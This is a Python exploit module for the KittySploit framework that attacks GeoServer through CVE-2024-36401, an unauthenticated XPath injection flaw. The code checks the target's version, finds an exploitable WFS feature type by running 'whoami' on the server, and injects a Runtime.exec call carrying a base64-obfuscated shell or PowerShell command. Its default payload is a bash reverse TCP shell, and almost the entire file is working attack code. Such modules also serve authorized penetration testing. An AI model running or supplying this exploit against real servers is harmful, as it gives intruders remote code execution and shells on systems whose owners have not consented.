GeoServer Unauthenticated RCE (CVE-2024-36401)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GeoServer unauthenticated XPath injection RCE (CVE-2024-36401) — reverse CMD session."""

from __future__ import annotations

import base64
import re
import xml.etree.ElementTree as ET

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'GeoServer Unauthenticated RCE (CVE-2024-36401)',
        'description': (
            'Exploits CVE-2024-36401 XPath injection in GeoServer WFS GetPropertyValue. '
            'Affected: < 2.23.6, 2.24.0–2.24.3, 2.25.0–2.25.1. '
            'Blind RCE confirmed by HTTP 400 + ClassCastException.'
        ),
        'author': ['Steve Ikeoka', 'Valentin Lobstein', 'KittySploit Team'],
        'cve': ['CVE-2024-36401'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-36401',
            'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401',
            'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv',
        ],
        'tags': [
            'geoserver', 'osgeo', 'wfs', 'xpath', 'rce', 'unauth',
            'kev', 'cve-2024-36401',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['geoserver'],
                'endpoint_pattern_any': ['/geoserver/wfs'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'WFS XPath exec()'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/geoserver_cve_2024_36401_detect'],
            },
        },
    }

    port = OptPort(8080, 'GeoServer HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    feature_type = OptString('', 'WFS feature type (auto-discovered if empty)', False, advanced=True)
    shell = OptChoice(
        'unix',
        'Command wrapper for Runtime.exec',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    def _geo_path(self, *parts: str) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        if base:
            return f'{base}/{suffix}'
        return f'/{suffix}'

    def _get_version(self) -> str | None:
        r = self.http_request(
            method='GET',
            path=self._geo_path(
                'geoserver', 'web', 'wicket', 'bookmarkable',
                'org.geoserver.web.AboutGeoServerPage',
            ),
            allow_redirects=True,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        body = r.text or ''
        if 'GeoServer Version' not in body:
            return None
        match = re.search(r'<span[^>]*id=["\']version["\'][^>]*>([^<]+)</span>', body, re.I)
        return match.group(1).strip() if match else None

    def _version_vulnerable(self, version: str) -> bool:
        parts = version.split('.')
        if len(parts) < 2:
            return False
        try:
            major, minor = int(parts[0]), int(parts[1])
            patch = int(parts[2]) if len(parts) > 2 else 0
        except ValueError:
            return False
        if major == 2 and minor == 25 and patch <= 1:
            return True
        if major == 2 and minor == 24 and patch <= 3:
            return True
        if major == 2 and minor == 23 and patch < 6:
            return True
        if major == 2 and minor < 23:
            return True
        return False

    def _list_feature_types(self) -> list[str]:
        r = self.http_request(
            method='GET',
            path=self._geo_path('geoserver', 'wfs'),
            params={'request': 'ListStoredQueries', 'service': 'wfs'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return []
        body = r.text or ''
        if 'ListStoredQueriesResponse' not in body:
            return []
        try:
            root = ET.fromstring(body)
        except ET.ParseError:
            return []
        types: list[str] = []
        for elem in root.iter():
            tag = elem.tag.split('}')[-1] if '}' in elem.tag else elem.tag
            if tag == 'ReturnFeatureType' and elem.text:
                types.append(elem.text.strip())
        return types

    def _wrap_command(self, cmd: str) -> str:
        wrapper = str(self.shell or 'unix').strip().lower()
        if wrapper == 'windows':
            enc = base64.b64encode(f'cmd /C --% {cmd}'.encode('utf-16le')).decode()
            return f'powershell.exe -e {enc}'
        enc = base64.b64encode(cmd.encode()).decode()
        return f'sh -c echo${{IFS}}{enc}|base64${{IFS}}-d|sh'

    def _build_payload(self, cmd: str, feature_type: str) -> str:
        wrapped = self._wrap_command(cmd).replace('"', '\\"')
        return (
            "<wfs:GetPropertyValue service='WFS' version='2.0.0' "
            "xmlns:topp='http://www.openplans.org/topp' "
            "xmlns:fes='http://www.opengis.net/fes/2.0' "
            "xmlns:wfs='http://www.opengis.net/wfs/2.0'>"
            f"<wfs:Query typeNames='{feature_type}'/>"
            f'<wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "{wrapped}")</wfs:valueReference>'
            '</wfs:GetPropertyValue>'
        )

    def _execute(self, cmd: str, feature_type: str) -> bool:
        r = self.http_request(
            method='POST',
            path=self._geo_path('geoserver', 'wfs'),
            data=self._build_payload(cmd, feature_type),
            headers={'Content-Type': 'application/xml'},
            allow_redirects=False,
        )
        if not r:
            return False
        body = r.text or ''
        return int(r.status_code or 0) == 400 and 'ClassCastException' in body

    def _resolve_feature_type(self) -> str | None:
        manual = str(self.feature_type or '').strip()
        if manual:
            return manual
        for ft in self._list_feature_types():
            if self._execute('whoami', ft):
                print_success(f'Using feature type: {ft}')
                return ft
        return None

    def check(self):
        version = self._get_version()
        if not version:
            return {
                'vulnerable': False,
                'reason': 'GeoServer version page unreachable',
                'confidence': 'low',
            }
        if not self._version_vulnerable(version):
            return {
                'vulnerable': False,
                'reason': f'GeoServer {version} appears patched',
                'confidence': 'high',
            }
        ft = self._resolve_feature_type()
        if not ft:
            return {
                'vulnerable': False,
                'reason': f'Version {version} in range but no exploitable feature type found',
                'confidence': 'medium',
            }
        return {
            'vulnerable': True,
            'reason': f'GeoServer {version} XPath RCE via feature type {ft}',
            'confidence': 'high',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp)')
            return False

        print_status('CVE-2024-36401 — GeoServer WFS XPath RCE')
        version = self._get_version()
        if version:
            print_info(f'Detected GeoServer {version}')
            if not self._version_vulnerable(version):
                print_error(f'GeoServer {version} is outside vulnerable ranges')
                self.not_vulnerable()
                return False

        feature_type = self._resolve_feature_type()
        if not feature_type:
            print_error('No exploitable WFS feature type found')
            self.not_vulnerable()
            return False

        print_status(f'Injecting payload via feature type {feature_type}...')
        if not self._execute(payload_cmd, feature_type):
            print_error('Payload dispatch failed (expected HTTP 400 + ClassCastException)')
            self.not_vulnerable()
            return False

        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True